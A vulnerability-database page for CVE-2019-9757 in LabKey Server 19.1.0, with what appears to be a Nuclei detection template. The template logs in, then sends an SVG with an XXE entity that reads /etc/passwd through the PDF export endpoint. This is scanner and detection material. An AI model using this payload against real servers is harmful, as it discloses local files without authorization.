| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2019-9757 | 29 Jan 202419:21 | – | circl | |
| LabKey Server XML External Entity Injection Vulnerability | 30 Oct 201900:00 | – | cnvd | |
| CVE-2019-9757 | 29 Oct 201916:30 | – | cve | |
| CVE-2019-9757 | 29 Oct 201916:30 | – | cvelist | |
| CVE-2019-9757 | 29 Oct 201919:15 | – | nvd | |
| CVE-2019-9757 | 29 Oct 201919:15 | – | osv | |
| Design/Logic Flaw | 29 Oct 201919:15 | – | prion | |
| CVE-2019-9757 | 22 May 202507:12 | – | redhatcve |
id: CVE-2019-9757
info:
name: LabKey Server 19.1.0 - XML External Entity (XXE)
author: ritikchaddha
severity: high
description: |
An issue was discovered in LabKey Server 19.1.0. Sending an SVG containing an XXE payload to the endpoint visualization-exportImage.view or visualization-exportPDF.view allows local files to be read.
impact: |
Attackers can read arbitrary local files on the server, potentially leading to information disclosure.
remediation: |
Update to the latest version of LabKey Server or apply security patches that fix XML parsing vulnerabilities.
reference:
- https://rhinosecuritylabs.com/application-security/labkey-server-vulnerabilities-to-rce/
- https://github.com/LabKey/Issues/issues/37636
- https://nvd.nist.gov/vuln/detail/CVE-2019-9757
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-9757
cwe-id: CWE-611
epss-score: 0.37336
epss-percentile: 0.98333
cpe: cpe:2.3:a:labkey:labkey_server:19.1.0:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: labkey
product: labkey_server
shodan-query: title:"LabKey"
fofa-query: title="LabKey"
tags: cve,cve2019,labkey,xxe,authenticated,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /labkey/home/project-begin.view HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf
group: 1
regex:
- '"X\-LABKEY\-CSRF":"([0-9a-z]+)"'
internal: true
- raw:
- |
POST /home/login-loginApi.api HTTP/1.1
Host: {{Hostname}}
X-LABKEY-CSRF: {{csrf}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
remember=on&email={{username}}&password={{password}}&approvedTermsOfUse=false
host-redirects: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- '!status_code == 400'
condition: and
- raw:
- |
POST /labkey/home/visualization-exportPDF.view HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="X-LABKEY-CSRF"
{{csrf}}
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="svg"
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg">
<text x="0" y="15" fill="red">&xxe;</text>
</svg>
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="title"
test
-----------------------------735323031399963166993862150--
matchers:
- type: dsl
dsl:
- 'regex("root:.*:0:0:", body)'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022010dd4d5ba85494c15f3edade677e30782697aec5a510b6c24b4d19d00db0761a022100b3130ee6ddab805d98e6c5d757add865bef7c2793d443dddf1c8c7dbbf1f7019:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation